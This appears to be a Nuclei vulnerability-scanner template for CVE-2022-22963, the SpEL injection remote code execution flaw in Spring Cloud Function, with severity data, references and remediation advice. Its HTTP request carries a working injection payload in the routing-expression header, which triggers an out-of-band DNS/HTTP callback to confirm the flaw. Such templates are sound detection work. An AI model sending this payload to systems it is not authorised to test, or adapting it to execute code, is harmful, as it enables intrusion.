Spring Cloud - Remote Code Execution

id: CVE-2022-22963

info:
  name: Spring Cloud - Remote Code Execution
  author: Mr-xn,Adam Crosser
  severity: critical
  description: |
    Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions are susceptible to remote code execution vulnerabilities. When using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches provided by the Spring Cloud project to mitigate this vulnerability.
  reference:
    - https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
    - https://github.com/cckuailong/spring-cloud-function-SpEL-RCE
    - https://tanzu.vmware.com/security/cve-2022-22963
    - https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/
    - https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22963
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-22963
    cwe-id: CWE-94,CWE-917
    epss-score: 0.97537
    epss-percentile: 0.99993
    cpe: cpe:2.3:a:vmware:spring_cloud_function:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_cloud_function
  tags: cve,cve2022,vulhub,springcloud,rce,kev,vmware

http:
  - raw:
      - |
        POST /functionRouter HTTP/1.1
        Host: {{Hostname}}
        spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("{{interactsh-url}}")
        Content-Type: application/x-www-form-urlencoded

        {{rand_base(8)}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 500
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